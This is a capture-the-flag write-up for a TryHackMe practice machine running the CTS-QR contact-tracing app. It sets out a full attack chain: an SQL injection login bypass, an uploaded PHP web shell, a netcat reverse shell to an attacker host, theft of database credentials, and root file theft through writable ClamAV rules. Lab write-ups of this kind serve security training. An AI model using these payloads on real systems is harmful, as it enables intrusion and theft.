**Difficulty: Medium
TL;DR: Exploiting SQL injection in CTS-QR admin panel, uploading a webshell, extracting database credentials, lateral movement to user cyrus, and privilege escalation via sudo with ClamAV rule manipulation.
- Machine:
contacttracer.thm - Date: 2026-1-1
- Environment: TryHackMe / CTF
nmap -sV -sC -T4 -Pn -p22,80 contacttracer.thm
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelPort 22: OpenSSH 8.2p1 Ubuntu
Port 80: Apache httpd 2.4.41
Main website: Login page for CTS-QR v1.0
Path: /admin/login.php
the Post request for /admin/login:

Identified potential SQL injection vulnerability in login form.
On the login page /admin/login.php, used the following injection:
username = Admin' OR 1=1-- -
password = anyResult: Successfully bypassed authentication and accessed the admin dashboard.
- Discovered CTS-QR v1.0 contact tracing system
- Found functionality to upload system images
- Upload feature accepts various file types, including PHP files
Created a simple PHP web shell:
<?php system($_GET['cmd']); ?>-
Uploaded the PHP file as a "system image"
-
File accessible at:
http://contacttracer.thm/uploads/[filename].php -
Open the system image in new tab After logout
http://contacttracer.thm/uploads/1767100260_cmd.php?cmd=idResult: Command execution successful, confirming RCE vulnerability.
Used Netcat to establish a reverse shell:
http://contacttracer.thm/uploads/1767100260_cmd.php?cmd=busybox nc YOUR_IP 4444 -e bashListener setup:
nc -lnvp 4444python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
Ctrl+Z
stty raw -echo && fgFound database credentials in:
cat /var/www/html/classes/DBConnection.phpdentials:
Username: `cts`
Password: `REDACTED`
mysql -u cts -pmysql> show databases;
mysql> show tables;
mysql> select * from users;Used online hash cracking tools
Cracked Password for user cyrus :
First flag at /home/cyrus/user.txt:
su cyrus
cat /home/cyrus/user.txtsudo -lResult:
Matching Defaults entries for cyrus on ip-10-82-185-81:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User cyrus may run the following commands on ip-10-82-185-81:
(root) /opt/scan/scan.shcat /opt/scan/scan.sh Script Content:
#!/bin/bash
read -p "Enter path: " TARGET
if [[ -e "$TARGET" && -r "$TARGET" ]]
then
/usr/bin/clamscan "$TARGET" --copy=/home/cyrus/quarantine
/bin/chown -R cyrus:cyrus /home/cyrus/quarantine
else
echo "Invalid or inaccessible path."
fiScript runs clamscan as root and it can be forced to detect any file as infected by manipulating ClamAV rules.
Rules directory /var/lib/clamav has world-writable permissions (777).
Created a rule file to detect files containing specific patterns:
cat > /var/lib/clamav/rule.yar << 'EOF'
rule TEST
{
strings:
$a = "root"
$b = "THM"
condition:
$b or $a
}
EOFTest the Exploit:
sudo /opt/scan/scan.sh
Enter path: /root/root.txt
/root/root.txt: YARA.TEST.UNOFFICIAL FOUND
/root/root.txt: copied to '/home/cyrus/quarantine/root.txt'





